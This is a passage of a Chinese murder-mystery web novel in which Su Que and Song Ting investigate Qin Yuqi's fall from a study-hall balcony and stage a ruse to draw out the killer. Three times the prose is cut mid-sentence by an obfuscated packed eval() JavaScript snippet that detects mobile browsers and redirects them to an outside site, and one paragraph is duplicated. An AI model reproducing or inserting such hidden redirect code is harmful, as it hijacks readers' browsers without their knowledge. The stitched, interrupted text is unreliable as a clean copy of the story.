和他在一起时，在黑暗中，受的伤。 “奇怪，这里什么时候有个疤。”苏却反过手摸了摸，思索了一会儿，道，“应该是，当时我只简单包扎了。之后醒来，也只是觉得左肩不舒服，但是并没有伤口。回到客栈这边，疤痕就出现了。” 宋停为她上完药，取过干净衣袍为她轻轻披上，继而默默收拾起斋内狼藉，将染血的破布和脏污的衣物都塞进那半桶血水里。 “所以，这里的我们，和那边的我们，是不一样的，对吧？”他低声道。 “是，所以才会死两次。”苏却系好衣带，穿好衣服，随后看向宋停带来的东西，问道，“这些热水、衣物和药品，你都是从哪里弄来的？” “问掌柜要的。”宋停将桶提到角落，“我回客栈的时候，他正好准备关门，怎么都不肯让我进去。我反正死皮赖脸地缠着，说你们好歹是来应试的举子，将来保不齐就有谁能金榜题名，当个大官，怎么能在生活起居上如此敷衍。” “你倒是挺代入。”苏却闻言，笑了笑，罕见地接了他的话茬。 宋停亦是笑笑，收拾完残局，很自觉便走到书案前跪坐下来，铺开纸张，研墨润笔，准备开始替苏却抄书。 今日要求抄写的是《论语》，看那书册的厚度，应该只是选取了一部分。 他的字，苏却是见过的，挺拔瘦硬，笔锋锐利，很有力道。 而且……似乎有几分眼熟。 苏却坐在他对面，看着他写了很久也想了很久，突然发声问道：“你，和周远至，是一起念过书，师承同一人吗？” 宋停面色一变，执笔的手一顿，笔尖在纸上留下一个微小的墨点。 但他很快又继续书写，头也没抬，声音平静：“你为什么这么问？” 苏却伸手，拿过一张他已经写完的纸，上面写着：“子绝四：毋意，毋必，毋固，毋我。”【2】 她仔细看了看，又摇了摇头，将纸放回原处，道：“只是觉得你们的字，好像有点相像罢了。” 宋停没有接话，只是默默地继续抄写。 苏却也未再追问，靠在墙上，闭眼休憩。 没过多久，书斋外传来了轻轻的敲门声。 门外站着的是李长宥。 他依旧是那副没什么表情的漂亮面孔，什么也没说，只是将一张折叠好的纸条塞进苏却手里，便转身离开了。 展开纸条，纸上没有文字，只画着三面盾牌，盾牌上布满了尖刺，与苏却之前得到的图案，一模一样。 随后，陆陆续续又有人来到苏却的书斋，有人在钟声之前，也有人在钟声之后，直到苏却要准备去饭堂之前，只有两人不曾给她。 清点下来，只有两人未曾出现：林无岩，宁剑书。 苏却将收到的纸条一一展开查看。 除了李长宥给的刺盾，出现最多的便是叶别风提到过的笔图案，也有她一样的书图案，数量也不少，但样子和她的并不同，还有砚台的图案、笔架的图案、叶子的图案，树的图案……五花八门。 苏却心中冷笑，将所得纸条尽数掷入血水桶中。 饭堂内，众人大多已用完饭食，无人离去，三三两两地坐着低声交谈，目光不时瞥向门口。 当苏却的身影出现在饭堂门口时，所有的交谈声骤然消失。 十几道目光齐刷刷地聚焦在她身上，想听听这个刚被他们救下来浑身是伤，还在故弄玄虚的人，到底能讲出多么惊世骇俗的结论来。 苏却全然不在意众人各有心思的眼神，没有铺垫，直接开口：“我之所以问大家要了纸条内容，是因为我们所有人，都根据纸条图案拥有身份。而凶手，就在我们中间。” 此言一出，众人皆是一惊。 虽然已有人心中隐约猜测过，但活生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672455|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的五个人就死在自己的身边，动手之人亦是身边之人，这样的结论不管是谁，听到了还是不免心惊肉跳。 所有人的目光，一下投向了坐在角落的段春音。 即便她昨日反杀章世昌事出有因，但她毕竟是唯一一个在众人面前明确动了手、杀了人的人。 而段春音发现了大家的目光后，身体猛地一颤，脸色瞬间变得惨白。 她一下子激动起来，双目迅速盈满泪水，声音带着哭腔，大声解释道：“不！我不是！我没有！如果我是凶手，我为何不一早动手，反而要让自己受他欺负，等到最后才……而且……那刀是章世昌自己带来的，不是我准备的……真的不是……” 她情感真挚，委屈与恐惧交织，让人不由心生几分怜悯。 于是，部分人的怒意转而投向了苏却。 “我言尽于此。毕竟，大家交给我的纸条，也没有多少人说了实话。”苏却的声音依旧平静，“不如记住我这一句话，从我们来到客栈的当天晚上开始想，重新将发生的每一件事，每一个人说的话，都仔细梳理一遍。想得通，我祝你好运。想不通，只能说你不适合这里。” “很多事，我不能继续说下去，是因为我不清楚凶手那方掌握多少，比如在刚才，我遭到了袭击……”苏却顿了顿，继续道，“行凶者，便在尔等之中。他黑衣蒙面，应该是冲着我的身份而来。如果还有人的身份是书，请你藏好，如果只有我一人，那只能说……今日的凶手，你的运气很差，你赢不了。” “当然，我说的是，今天。因为或许明天，我也会是凶手。人越少，凶手便越占优势。大家，各凭本事吧。” “砰！”一声巨响，杨季野猛地一拍桌子站了起来。 他此刻怒容满面，指着苏却喝道：“苏却！我本觉得你为人挺正派的，方才还助你脱困，以为你真握有生路指引众人。如今你只轻飘飘一句‘凶手在我们中间’，我们依旧如无头苍蝇一般，反倒被你套走了身份。你这样做，简直无耻！” 一直抱着胸坐在苏却身侧的宋停闻言，嗤笑一声，讥讽道：“杨大侠援手之情，宋某在此谢过。不过，我们一码归一码，阁下如果耳背，建议回炉重造一番，如果健忘，就把苏却今天说的一字一句都刻在脑子里，或者写下来，时不时掏出来看一眼。同爹同妈的亲兄弟在这儿都是对手，你有什么脸在这里叫嚣着让别人保你的命？她肯出言提醒，令你自行参详，你就该感恩戴德了，知道吗？” 他没等杨季野开口反骂，紧接着又阴阳怪气地继续说道：“而且，你可别一副站在好人角度的模样伸张正义。那一身黑衣来苏却书斋动手的人，身手可是不错，灵活得很。说不定，就有人擅长伪装身份，表面充当好人，实则没皮没脸，干些贼喊捉贼的勾当……” “你……！”杨季野被他这番话气得脸色通红，“你又是什么东西？二十个人里有你的位置吗？谁知道你是哪里来的货色，名不正言不顺，还在这里血口喷人！” 他被宋停连讥带讽，更是怒火攻心，干脆猛地一甩袖子，转身就往外走，临出门前，他回头怒视饭堂内众人，道：“好啊！大家都相互猜忌吧！斗吧！等着凶手把我们都杀光，坐收渔利吧！” 饭堂内一片死寂。 57. 赴考（十九） 赴考（十九） 杨季野离开前撂下的那几句话，细思极恐。 众人也都知道，团结起来能克服千难万险。 可谁能保证，苏却没有任何问题？就凭几句一面之词？ 不得不说，他骂的那几句，虽然冲动，却正中了在场许多人心中的不满。 只是他们并不敢如杨季野那般直接指责苏却。 毕竟，先前交给她的纸条，内容确实大多是随手瞎画的假图案。 本想浑水摸鱼，从苏却那里套取些有用的信息，却不料此人精明异常，非但一点便宜没让他们占到，反而被明里暗里嘲讽了一通。 而那个一直病恹恹的宋停，如今看来，竟是只又打又骂又不要命的疯狗，死死护在苏却身边。 若真是苏却成了凶手，以此人之能，加之规则之外的宋停，他们这些人，还有什么活路可言？ 怪不得……怪不得刚刚就有人已经按捺不住，想要苏却的命。 这样的人，若不能为己所用，不如早点除去，省得日后成为棘手的对手。 但是，要杀此人，问在场所有人，谁能有这个把握做到？ 不少人心中暗自盘算，看向苏却和宋停的目光里，多了一丝畏惧。 在一片心怀鬼胎中，苏却和宋停对周遭一切恍若未觉，自顾自地取了饭食，安安静静地开始吃东西。 苏却吃得很慢，一边细嚼，一边思考。 她并不确定，那个黑衣人袭击她，究竟是因为她说自己拥有书的图案，还是单纯觉得她掌握了太多信息，构成了威胁。 方才在饭堂，她故意点破遇袭之事，既是试探，也有威慑，想看那人是否会露出马脚。 那人也甚是谨慎。 苏却不禁有点好奇，这样一个人，成为了凶手，胆子并不小，脑子也不笨，为何到现在，大家都还安然无恙，没有新的死者出现。 是没有动手？或者只奔着自己的目标，还在寻找动手时机？或者有寿命兑换的存在？ 想到兑换，苏却心中更沉，又想到命筹与命序的确定，她至今仍没头绪。 不过，接下来还有撰文、互学两场。 即便凶手未知，为了完成任务，也总有人会动手的，除非他不想活了。 此局，分明就是为了让众人相互猜忌，自相残杀而设。 一边是掌柜开局就提示的不能告诉他人，一边又要求他们必须知晓各自身份才能破局。 这其中的矛盾，就是各自的信息差。 水一旦被搅浑，水中的鱼便慌了神，咬钩，迟早的事。 只是，苏却刚刚在说话间，似乎发现了一个局中的漏洞。 如果一个人，在第一晚是凶手，杀了人并活下来之后，在身份轮换中，又得到了新的身份，比如书，或是刺盾……那此人岂不是如同开了天眼？ 他既熟知凶手的规则与行事方式，又拥有了非凶方的视角和信息，立刻领先其他人一大截，所谓的信息差，对他而言几乎不存在。 而那个人，又不可能永远都是凶手，否则命筹纸条的变化也就失去了意义…… 苏却的目光，再一次扫过段春音。 她那急于撇清否认的模样，虽是人之常情，却未免……显得过于无辜了。 所以…… 一个大胆的念头，划过苏却的脑海。 曾为凶手之人，或许并不会携带着凶手的记忆，去继续下一个角色。也就是说成为凶手，并依照规则完成任务之后，或许会被抹去身为凶手时的那部分记忆或是与凶手相关的线索、思想？ 一个人，纵使昨夜曾是持刃恶鬼，今朝醒来，亦可能只余一片混沌。 这样，他依旧能回到原先的状态，和众人一起，继续沦陷在这个迷局之中。 而段春音，假使她不记得成为凶手时的一切，可她是光明正大证据确凿地杀了章世昌，所以在身份更换后，她知道自己杀人了，可她的杀意就是源自对章世昌的恨，她只是为了自保…… 这样想，似乎很合理。 若真如此，所有事后对前任凶手的清算，是不是意味着毫无用处？ 思绪纷杂间，饭食已毕。 回到书斋时，发现撰文的题目早已被人放在了桌案上，不过宣告日程开始的钟声尚未敲响。 苏却走过去，看见铺开的纸张上，只有两个墨字：论死。 宋停凑过来看了一眼，似乎对这题目并不感兴趣，只懒洋洋地拿起笔，在旁边的纸上随意涂画着，借此打发时间。 突然，他像是发现了什么，低声叫了起来：“苏却，苏却，苏却，你来看看这个。” 苏却正靠在墙边闭目养神，闻声微微直起身子，探头过去看。 只见宋停在纸上，写着一个奇怪的字。 上面是个“不”字，但中间那一竖写得特别长，从上到下贯穿了两横，看起来既像“?”，又有点像“坕”。 苏却摇了摇头，重新靠回墙边，道：“我书念得不多，没见过这个字，不认识。” 宋停却神秘地笑了笑，道：“但你知道这个字的来历。” 苏却心中一动，道：“夫人一去不归尘？” “你看，我们当时是去掉了‘夫’字的‘人’和‘一’，剩了一个‘一’字，后面的‘不归尘’并没有考虑在内。现在，我是随手写的，或许想法很牵强，但或许是个思路。” “你继续说。” 宋停在纸上写着演示，道：“‘夫人一去’是‘人去’。‘不’在尘中，则是我刚刚写的那个字，而那个字去了‘一’，就是‘尘’，但是既然‘不归’，所以就是这个字去掉‘不’，你看看……” 苏却靠过去看，喃喃念道：“这是……‘二’字……” “没错，是不是有点太曲折了，可能真的是我在胡思乱……” “不，”苏却拿起宋停圈来圈去写着推测的那张纸，道，“你的推测极有可能是对的，没想到，我对‘不归尘’的理解，竟误打误撞得到了答案……不过，站在非凶方，‘二’代表凶手二人，如果是站在凶方呢，他们的目标究竟是什么？是杀人数量吗？还是……需要杀死特定的身份？” 宋停看着她凝神的脸，笑了笑道：“养养神吧，苏大捕头。你这般殚精竭虑，是真想离开这鬼地方后，练成名震天下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687301|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神捕吗？” 苏却横了他一眼，未予理会。 随后，钟声响起，宋停动笔。 苏却也重新靠回墙边，闭上眼，继续梳理脑中纷乱的线索。 然而，刚写了没多久，书斋外传来了急促的敲门声。 门外是张山起气喘吁吁的声音：“苏公子！叶公子请你赶紧过去一趟！出事了！有人……有人死了！” 苏却心头一凛，起身开门：“是谁？” 他稳了稳气息，道：“是……是秦玉奇。他从楼上摔下来，死了。” “什么？”苏却一怔。 张山起语气急促：“你去看了，就知道了。” 两栋书斋之间，并不近，但也不远。 之前发现华子唐死时，对面传过来的尖叫，清晰入耳。 中间隔着的园子灌丛茂密，灌丛中间，有一条极窄的小泥径，连接着两栋书斋，往来倒也不算太麻烦。 张山起在前面带路，步履匆忙。 苏却在后面跟着，她身上有伤，走得并不快。 宋停留在书斋内，继续那篇未完成的《论死》。 他本很想跟过来，但是又怕任务未完成苏却又要遭受一次折磨，只能继续奋笔疾书，还不停地对苏却使眼色，意思是注意防备。 苏却微微颔首，示意明白。 她对张山起的印象，最深的时候当属宋停打叶别风，他勃然大怒的样子。 此人对叶别风可谓言听计从，忠心耿耿。 有苏却教训在前，撰文这等重要日程时间，叶别风让他出来，他还真的不计后果地出来了。 不过，她快速打量了一下张山起的背影和步态，身量不算特别高大，步伐沉稳有力，与那个黑衣袭击者灵巧柔韧的身法，并不吻合。 小路蜿蜒，两侧的树木和灌丛枝叶交错，遮蔽了不少光线，显得有些昏暗。 没走多久，已能看见另一栋书斋的轮廓。 而在那栋书斋的墙根下，倒着一个一动不动的人，正是秦玉奇。 只有一个叶别风站在旁侧，再没有其他人。 楼并不高，从二楼坠下，本不至于立刻毙命。 只见秦玉奇身体有些错位，腿脚扭曲着，躺在地上，五指似乎想抠入泥地，但已经来不及挣扎。 他双目未完全闭合，眼白上翻，凝固着坠落那一刻的惊恐与茫然。身上并无太多明显外伤，衣袍也只是沾染了些许泥土和草屑。 只是。 他的头颅后方，恰好撞在了一块半埋在土里的尖锐石块上，石块周围淌了一滩暗红色血迹，触目惊心。 这一击，显然是致命的原因。 失足坠落，偶然存在的石头。 一切看起来，都像是一场不幸的意外。 但，秦玉奇之死，苏却知道，叶别风也知道。 绝对不可能是意外。 他的书斋明明就在叶别风的旁边，在一层。 可他吧，为何会在撰文时间开始后，不留在自己的书斋内完成任务，反而跑去了二楼？ 他去二楼做什么？ 见谁？还是……发现了什么？ 58. 赴考（二十） 赴考（二十） “我正提笔写字，忽闻门外似有东西坠落，便立马开门出来，所见便是此状。当时我立刻抬头向上望去，栏杆处空荡，并未发现任何人影。随后就看见隔壁山起也闻声开门张望，我便叫他立刻去寻你过来。此后我一直站在他附近留心，并无异常。” 叶别风站在尸体旁边，脸色凝重，见苏却走近，便低声向她说明情况。 “他几乎是当场毙命。因为我并未亲眼看着他坠下，所以不知他坠下后是否还有意识，或者留了什么信息。待我上前查看时，已然……没气了。” 苏却微微仰首望向二楼。 木栏齐腰，略显古旧，若欲将人推落，并非难事。 “人从高处坠下，声响应当不小。这期间，除了你和张山起，难道再没有其他人闻声出来查看吗？”她依然抬着头，问道。 叶别风摇头。 苏却收回目光，看向叶别风：“那你叫我来，并非只是让我看尸体这么简单吧。你怎么想？” “苏却，我们这边的人里，定然有凶手。”叶别风眼中一片忧惧，“我们分散开的时间很多，实在防不胜防。他现在才动手，于他而言是时间紧迫，于我们亦是。我们……我们是不是已经没有足够的时间，将那人找出来了？” 苏却神色未见波澜，道：“未必。” 最差的情况是，这一次依旧无果而终，继续等待新一轮的开始。 撰写结束还有互学，时间虽剩余不多，但也不能就这样放弃。 她的目光再次投向这栋书斋楼，心中回忆着众人的分布。 叶别风这一侧的书斋一楼分别是李共川、张山起、叶别风、秦玉奇、段春音。二楼则是李长宥、华子唐、林无岩、戚时晴、关记秋。 华子唐和戚时晴的书斋都已经空了。 苏却后退几步，目测着秦玉奇尸体的位置，又比照了一下对应上方的二楼。按照推断，秦玉奇坠楼前，很可能正站在原本属于华子唐的书斋门口围栏边。 这是一个很奇怪的位置。 他为何要去一间无人的空书斋门口？ “你见过秦玉奇经过你门口吗？”苏却问叶别风。 “不曾。”叶别风也走了几步，站到苏却身边，回身审视着整栋书斋楼，“我回了书斋后就直接关了门，所以并未留意。” 一旁的张山起连忙补充道：“我是撰文开始的钟声敲响前没多久关的门。如若凑巧秦玉奇正好是在我关门之后才走过，那我也不曾见过他。” 苏却默默不语。 她心中暂时排除了叶别风和张山起行凶的嫌疑。 二人的身形和身手，都与那个袭击她的黑衣人特征不相符。 而且，若真是他们二人合力杀了秦玉奇，有的是更隐蔽的处理方式，何必大张旗鼓地叫她过来看现场？ 多此一举，实在没必要。 如此看来，秦玉奇很可能是从段春音那一侧的书斋方向上的楼。 而且，二楼的李长宥、林无岩、关记秋三人，嫌疑自然比一楼几人更大。 相比之下，关记秋的嫌疑似乎又比李长宥和林无岩要小一些。 这不仅因为她是一介女子，身量纤细，看起来不像有足够力道能将一个成年男子推下楼。 当然，人不可貌相，苏却并未完全排除这种可能。 也不仅因为她的书斋位置相对靠边，离华子唐的书斋远，若要在走廊或围栏处动手或布置什么机关，更容易引起隔壁林无岩、李长宥的警觉。 更关键的是，动机。 秦玉奇此人，是一名商贾，家底殷实，为人自视甚高。在这书院中，除了明显奉承着家世显赫的叶别风之外，几乎没见他将其余人放在眼里。 那么，凶手需要用什么样的借口，才能让他在日程期间，心甘情愿地离开自己的书斋，冒险到二楼？ 林无岩曾当众展示过医术。 身处这等险境，能与一个懂医术的人保持友好关系，对任何人而言都非常重要。 若林无岩以某种理由相邀，秦玉奇或许会心动。 李长宥则长相不俗，气质神秘，偶尔几句话也颇有道理。 如果，以告知事件线索为由，说不定也会同意。 而且，他还有一个亲弟弟李共川就在楼下。以他们兄弟二人书斋一上一下的位置，若想暗中配合做些什么，确实分外隐秘，不易被旁人察觉。 想到这里，苏却对自己的念头感到几分无奈。 怀疑来怀疑去，自己似乎又将怀疑的矛头，隐隐指向了李氏兄弟。 李长宥给她的纸条上画着三面刺盾，根据图案推测，这或许能代表他曾经至少一天是刺盾身份。 而李共川给出的图案则是两支笔和一本书。对于笔图案的含义，苏却尚不确定，收到的图案也五花八门，真假难辨。所以只能暂且确定李共川拥有过身份的一天是真的。 不知为何，这对兄弟身上，总像是笼罩着一层雾，令苏却觉得看不真切，摸不透彻，仿佛隐有秘密，怀揣目的。 “苏却。”叶别风突然叫了她。 “何事？”苏却收回思绪。 叶别风先是示意张山起先回去继续完成策论，待张山起的身影消失后，他才皱着眉，神情变得异常凝重，低声道：“我不知道你有没有听说过一件旧事，但是，我隐隐觉得，我们如今的处境，与那件事似乎有几分……相似之处。” “你继续说。” 叶别风回忆道：“那是庆和初年，皇上刚刚登基不久，朝廷特开恩科，广纳贤才。可也是在那一年，发生了一桩震惊全国的悬案，一间书院里的先生与学子，前前后后四五十人，几乎全部丧命。据说，只有两人侥幸被救出，但也已是奄奄一息，恢复了好久都未能痊愈。官府欲对书院中发生之事进行调查，可此二人却一脸茫然，只说不知，仿佛对大火前的事情全然忘却。此案线索寥寥，最终也只能搁置，不了了之。而那幸存的二人，后来竟都参加了那场恩科，还取得了不俗的成绩。” 苏却道：“庆和初年，我还未出生，这件事，也不曾听闻。后来呢？” 叶别风继续道：“其中一人，你应该听说过她的名字，是我朝开国以来唯一一位被正式册封的女官，徐常英。还有一位，是当年的恩科探花，名叫沈知晦，听说他为人肆意，任官不久就被贬，后来……也没什么好下场。都是些陈年往事了，我知道得也不详尽，只是突然想到此事，觉得……有些相似罢了。” 徐常英。 这个名字落入苏却耳中，有几分耳熟。 与叶别风口中所说那位风光无两的女官不同，苏却记忆中关于这个名字的片段，有些不堪。 “女孩儿家的读什么书？难不成像那个扫把星徐常英一样，自己死了不够，还要连累九族吗？” “女不言外，女子就应当守好本分，真以为认识几个字就能爬上天啊？吃不到天鹅肉反被摔死咯。” “在家从父，出嫁从夫，心生妄念的人都会有报应的。” ……诸如此类。 彼时，她还很小，刚刚开始读书认字。可孩子心性活泼贪玩，哪里坐得住冷板凳，端端正正持笔书写呢？ 于是便向父亲母亲撒娇，想要逃避功课。 她记得，一向温和的父亲母亲，脸色突然变得非常严肃和郑重。 他们告诉她，人不能总想着依靠别人，自己要明白是非对错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708169|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，万事终究要靠自己。 具体的言辞她已经记不真切，但那份告诫，却深深印在了心底。 “苏却？苏却？你在想什么？” 叶别风的声音，将苏却从回忆中拉扯回来。 她定了定神，找回话题，看着叶别风问道：“那桩悬案的始末已无人知晓，且据你所说，死亡人数与我们眼下情形也相去甚远。我不明白，具体何处相像？” 叶别风解释道：“当年负责督办那桩案子的，恰是我叶家的一位族中长辈。我也是年少时偶然接触过一点残存的卷宗笔录。其中记载，调查周边民众时发现，其实那场大火并非最初的惨剧。在那之前，书院里早已不太平，每天陆陆续续都有人离奇死去，而那场大火，更像是有人为了毁灭证据而故意纵火，却不料火势失控，连自己也未能逃脱罢了。所以，官府的最终推测是，书院中学子或因相互嫉妒，或因积怨已深，最终酿成了那场自相残杀的惨剧。你看这书院困局，彼此猜忌杀戮，是不是觉得，似乎有点熟悉？” 苏却没说话。 叶别风继续道：“而又因为徐常英后来……见罪于皇上，失了圣心，即便毫无证据，朝野上下也暗暗将这笔糊涂账，算到了她的头上。” 苏却闻言，冷笑：“听你这语气，你倒是觉得那徐常英是无辜的？” 叶别风脸上露出一抹苦笑：“真真假假，是是非非。朝堂之上，多得是一笔笔算不清的糊涂账。谁又能说得清呢？可我终是这笼中之人，身不由己。也只有在这个地方，才能毫无顾忌地放肆一回。” 他顿了顿，看向苏却：“让你见笑了。” 苏却转而问道：“那位恩科探花呢？就算要算账，也该一视同仁。既然徐常英被疑，那沈知晦又如何能独善其身？” “你说沈知晦？”叶别风深深叹了一口气，略有怜悯道：“他……死得比徐常英还要凄惨……” 苏却心中一跳，问道：“沈知晦？是哪几个字？” 叶别风张开手掌，用指尖在自己掌心一笔一画地写了一遍给苏却看，并道：“沈，为姓氏。知晦，乃知黑守白，明晓晦暗之意，是个极好的名字。” 苏却紧紧盯着他的手掌，脑海中闪过了那一张残页。 残页上剩的字样是“沈矢”。 如果……如果那张残页边缘被撕开的地方，恰好将一个字一分为二，缺失了一部分，而那个字完整的模样正是“知”字…… 那《诡闻录》的落款就是，沈知晦。 这个念头让她脊背窜起一股寒意。 如果《诡闻录》的作者真的是沈知晦，那么这里发生的一切，与现实之中的那些未解的谜团，是不是存在着更多不为人知的交集？ 例如年号，例如吞金神蟾，还有所有所有的禁忌与不可说…… 苏却立刻对叶别风道：“此事容后再讨论。你也先回去完成你的策论吧，时辰不多了，我先走了。” 叶别风点了点头，却又指了指地上秦玉奇的尸体，面露难色：“那他……该怎么办？总不能一直放在这里。” 苏却沉思片刻，心中已有了计较。 她附在叶别风耳边，压低声音，快速说了几句。 叶别风先是微怔，随即眼中闪过一丝了然，连连点头。 随后，叶别风忽然提高了音量，朗声道：“实在幸运，实在命大！还好还好，没死就好！苏兄弟，一切就拜托你和宋停兄弟了！他没有撰写任务在身，有劳他多多照顾了！” 他一边说着，一边蹲下身，简单清理了一下秦玉奇头上和身上的血迹，然后咬紧牙关，颇为吃力地将秦玉奇的尸体扶起，将对方的一条手臂搭在自己肩上，半拖半扶地，朝苏却的书斋方向挪去。 59. 赴考（二十一） 赴考（二十一） 叶别风满头大汗地将尸身挪到苏却书斋门口时，宋停刚巧火速写完了策论，正搁下笔，准备出门寻苏却。 门一开，迎面看见二人回来，他的脸色一下子就变了。 他全然忽视了同行的叶别风，目光直接落在苏却身上，担忧道：“不是说有人死了吗？是他？为何还要把尸体搬过来？是有什么不对劲吗？” 苏却面色如常，道：“他还没死，尚有一息。你搭把手，把他扶进去，让他缓缓吧。” 宋停眉头紧锁，看了看秦玉奇的脸和扭曲的肢体，只点头沉声道：“行。” 两人一起将秦玉奇架了进去，躺在书斋地上。 他和叶别风两人一左一右，架起秦玉奇的臂膀，将他拖进了书斋，放在地上。 过程中，宋停好几次侧过脸，仔细打量着秦玉奇，但他紧抿着唇，硬是一个字也没问出口。 “那我就先回去了。”叶别风整理了一下凌乱的衣衫，他肩头的位置已经沾上了一大块血渍，颇为显眼。他对苏却道，“你们这边一切小心，若需人手，我会让山起过来帮忙。” “嗯。”苏却微微颔首，“记得，务必要让所有人都知道秦玉奇侥幸未死，正在我这里。” 叶别风点了点头，转身匆匆离去，背影很快消失。 送走叶别风，苏却刚一回身，便见宋停正屈膝，沉默地坐在秦玉奇的身边。 他没有看苏却，目光落在地上，脸上没什么表情：“他，明明已经死透了。” 苏却不语。 宋停皱着眉抬头看苏却，脸色极差：“你自己受了多重的伤，你自己不知道吗？凶手要杀你，都已经杀上门来了！你为什么还要去那边揽这么一具尸体回来？你是觉得自己还不够惹眼，非要站在风口浪尖上吗？” 苏却走到书案前，拿起宋停刚刚完成的策论文章，对折了两下，再走到门口，将其扔进了木箱中。 她背对着宋停，平淡道：“那就什么都别做，在这等死。” “你知道的，我并不是这个意思。”他语气软了下来，急忙起身解释，“我只是不想……不想很多事都由你一个人去扛，去冒险。别人不知道，可我知道，你是……” 他话说到一半。 苏却动作很快，下一瞬，她已然欺身近前，一只手，就已经紧紧掐住了宋停的脖子。 因骤然发力，她手腕上的伤口又裂开了，布条上又渗出了殷红的血迹。 但苏却仿佛感觉不到疼痛，也没有任何松手的意思，眼神冰冷如刃。 “那又如何？”苏却的声音字字带着寒气，“这世间从没说过，有什么事是只能男子做，女子做不得的。”她手上又收紧了几分力道，警告道，“你如果再敢多说一个字，不管你是谁，我都会立刻杀了你。” 宋停被她掐得满脸涨红，额角青筋暴起，呼吸艰难。 可他竟没有丝毫挣扎，也没有试图反抗，只是双眼泛红，眼角微微颤抖着，平静地看着苏却，坦然接受苏却的一切动作，任由她掌控着自己的生死。 僵持了大约三四息的时间，苏却才松开了手。 宋停立刻剧烈地咳嗽起来。 他抬手抚着胸口，弯着腰，大口大口地喘着气。 就在这时，楼上的陶雨竹恰好下来，经过苏却敞开的门口，一眼便瞥见了屋内这尴尬而诡异的气氛。 宋停面色通红剧烈喘息，苏却面色冷峻手腕渗血，两人靠得极近…… 陶雨竹的脚步顿住，脸上露出一丝尴尬的笑容，迟疑地开口：“二位这是……？” 她的目光随即落在躺在地上的秦玉奇身上，带着惊疑：“这又是……？” 宋停勉强压下咳嗽，直起身，摆了摆手，语气自然：“没什么，那边有人不小心受伤了，送过来让我帮忙照看一下罢了。” 陶雨竹站在门口，犹豫了片刻，终究没有踏进书斋，转而问道：“苏公子，你的撰文完成了吗？我刚写完，正准备去找春音，你们，要一起过去吗？” 苏却侧头，从上到下地打量了陶雨竹一番，淡淡道：“不了，我浑身是伤，行动不便。宋停身体也未痊愈，需要休息，现在又多了一个伤患。陶姑娘自便吧。” 陶雨竹脸上掠过一丝失望，无奈道：“好罢，那我自己去了。” 说完，她便转身，朝着段春音书斋的方向而去。 苏却目送着陶雨竹的身影离开，久立未动。 宋停沉默了一会儿，先开了口，担忧地问道：“你这招引蛇出洞真的有用吗？不会是叶别风杀了人，故作姿态，然后跟众人说是你杀了人，所以尸体才在你这儿吧？毕竟叶家人蛇鼠一窝，粪坑里养大的，都是蛆虫。” 苏却闭上眼，未曾评价这句话。 如果当时，叶别风真的是听到声音就立刻出门查看的话，凶手并没有足够的时间确认秦玉奇是否真的已经死了。 除非他先杀了他，再把他推下楼。 可如果秦玉奇死在坠楼前，实在不必让他上楼这般惹人怀疑，而且尸身想怎么处理都行，为何非得从楼上摔下来？ 话又说回来，凶手如果真的非要置秦玉奇于死地，为什么会选这种不一定致死的方式呢？ 果然还是出手太急了，没有考虑周全吗？ 没过多久，李长宥李共川二人匆匆而来。 “苏却，听说秦玉奇在你这儿……”李长宥一进门，目光便落在地上躺着的秦玉奇身上。 他眉头微蹙：“摔得很严重吗？他看起来……脸色很差。” “苏却，听说秦玉奇在你这儿……”李长宥一来就看到了地上躺着的人，道，“摔得很严重吗？他看起来脸色很差。” 宋停做戏做全套。 此刻他正很贴心地蹲在秦玉奇身侧，帮他擦着脸上的污渍血痕，道：“凶多吉少，一直没醒，但好在留了一口气。” 他动作细致，仿佛真在照顾一个重伤垂危之人。 “那你……有怀疑的对象吗？”李共川看向苏却，“互学是最后的机会了，凶手若知道秦玉奇未死，一定会再来动手的，你们这里恐怕不安全。” 苏却往旁边退了几步，疲惫地靠着墙，问道：“你们的书斋都在楼梯边，是否看见秦玉奇上楼？或是听到什么动静？” 李长宥闻言，那总是平淡无波的脸上，难得地流露出几分不解：“你怀疑我们？” 苏却依旧靠着墙壁，没有直接回答，反而道：“毕竟，你二人也没有对我全盘托出，不是吗？” 李长宥淡如死水的瞳眸久久凝视着苏却，脸上终于露出了一个有几分僵硬的笑容。 他缓缓开口，声音低沉：“苏却，你一定要活着。” 随后，他就在突然响起的钟声中，干脆利落地转身，带着李共川径直离开了书斋。 自始至终，兄弟二人都未曾踏入书斋之内一步。 宋停看着两人离开，本想起身和苏却说点什么，还没来得及张嘴，屋外却又响起了新的脚步声。 这一次来的是林无岩。 他也是面带急色，额上甚至带着细汗，似乎是一路小跑过来的。 